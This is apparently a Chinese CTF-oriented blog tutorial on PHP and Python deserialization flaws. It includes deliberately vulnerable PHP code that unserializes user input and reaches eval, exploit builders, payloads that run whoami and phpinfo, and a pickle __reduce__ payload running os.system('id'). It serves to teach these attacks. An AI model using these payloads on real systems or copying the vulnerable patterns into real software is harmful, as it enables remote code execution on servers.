PHP Python 反序列化

1. PHP

1.1 PHP反序列化

PHP 序列化后的基本类型表达:

布尔值(bool):b:value => b:0

整数型(int):i:value => i:1

字符串型(str):s:length:"value"; =>  s:4:"aaaa"

数组型(array):a:<length>:{key, value pairs}; => a:1:{i:1;s:1:"a"}

对象型(object):O:<class_name_length>:

NULL 型:N

最终序列化数据的数据格式如下:
<class_name>:<number_of_properties>:{<properties>};

序列化例子:

class person{
	public $name;
	public $age=19;
	public $sex;
}

通过serialize()函数进行序列化后:
o:6:"person":3:{s:4:"name";N;s:3:"age";i:19;s:3:"sex";N;}

PHP 提供 serialize 和 unserialize 函数将任意类型的数据转换成 string 类型或者从 string 类型还原成任意类型。当 unserialize 函数的参数被用户控制的时候就会形成反序列化漏洞。

与之相关的是 PHP 语法中的类,PHP 的累中可能会包含一些特殊的函数,名为 magic 函数, magic 函数的命名方式是以符号 __ 开头的,比如 __constrcut()__destruct()__toString()__sleep()__wakeup() 等。这些函数在某些情况下会被自动调用。

常见魔法函数及其触发方法:
__construct()  当一个对象创建时被调用

__destruct()  当一个对象销毁时被调用

__toString()  当一个对象被当作一个字符串使用时被调用

__sleep()  在对象在被序列化之前被调用(其返回需要是一个数组)

__wakeup()  反序列化恢复对象前被调用

__call()  当调用对象中不存在的方法时被自动调用

__get()  从不可访问的属性读取数据时被调用

1.2 反序列化漏洞示例

1.2.1 魔术方法中存在可利用的代码

<?php
	class test{
		function __destruct(){
			echo "destruct... <br>";
			eval($_GET['cmd']); // eval 可以将传入的字符串转为命令执行
		}
	}
	unserialize($_GET['u']);
?>

构造反序列化参数 u 的值(exp):

<?php
	class test{}
	$test = new test;
	echo serialize($test);
?>

浏览器访问该 php 文件,得到 payload:
在这里插入图片描述
即:u=O:4:“test”:0:{}

构造命令参数 cmd 的值:
cmd=system(“whoami”)

因此 payload为:u=O:4:"test":0:{}&cmd=system("whoami");

传入值后,代码会执行 system() 函数来调用 whoami 命令:
在这里插入图片描述

1.2.1 魔术方法中没有可利用的代码

在上个例子中,魔术方法中存在 eval($_GET['cmd']); ,因而 cmd 参数可以传入 system() 函数调用命令。而有时没有这种可直接利用的代码,却有调用其他类方法的代码,这时可以寻找其他有相同名称方法的类。

<?php
	class lemon{
		protected $ClassObj;
		function __construct(){
			$this->ClassObj = new normal();
		}
		function __destruct(){
			$this->ClassObj->action();
		}
	}
	
	class normal{
		function action(){
			echo 'hello';
		}
	}
	
	class evil{
		private $data;
		function action(){
			eval($this->data);
		}
	}
	
	unserialize($_GET['d']);
?>
  1. normal 和 evil 有相同的名称的方法,也即 action()。
  2. evil 中,存在 eval() 方法,容易导致任意代码执行。

构造 exp:

<?php
	class lemon{
		protected $ClassObj;
		function __construct(){
			$this->ClassObj = new evil();
		}
	}
	
	class evil{
		private $data = 'phpinfo();';
	}
	echo urlencode(serialize(new lemon()));
?>

我个人的理解:该 exp 中序列化的 class lemon 和 class evil 中重写的部分会在反序列化后覆盖原 php 文件中的代码,而原 php 文件中的其他代码会保留。也即是说,在反序列化后,lemon 会调用 __construct(),而此时会 new evil() 而不再是 new normal()。接着,lemon 会调用 __destruct(),此时,调用的 action() 也就变成了 evil 类中的 action() 。

浏览器访问该 php 文件,得到 payload:
在这里插入图片描述
即 payload:O%3A5%3A%22lemon%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A10%3A%22%00evil%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D

将 payload 传入参数 d,造成执行 phpinfo 代码。
在这里插入图片描述

2. Python

反序列化在每种语言中都有响应的实现方式,Python 也不例外。在反序列化的过程中,由于反序列化库的实现不同,在太相信用户输入的情况下,将用户输入的数据直接传入反序列化库中,就可能导致任意代码执行的问题。Python 中可能存在问题的库由 pickle、cPickle、PyYAML,其中应该重点关注的方法如下:pickle.load()pickle.loads()cPickle.load()cPickle.loads()yaml.load() 。下面重点讨论 pickle 的用法,其他反序列化方法类似。

pickle 中存在 __reduce__ 魔术方法,来决定类如何进行反序列化。 __reduce__ 方法返回一个长度为 2~5 的元组时,将使用该元组的内容将该类的对象进行序列化,其中前两项为必填项。元组的内容的第一项为一个 callable 的对象,第二项为调用 callable 对象时的参数。如下面的例子,将生成在反序列化时执行 os.system("id") 的 payload。在用户对需要进行反序列化的字符串有控制权时,将 payload 传入,就会导致一些问题。例如,将以下反序列化产生的结果直接传入 pickle.loads() ,则会执行 os.system("id")

import pickle
import os

class test(object):
	def __reduce__(self):
		return os.system, ("id",)

payload = pickle.dumps(test())

print(payload)

输出结果:
在这里插入图片描述

References:

《从0到1 CTFer成长之路》
《CTF特训营》

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值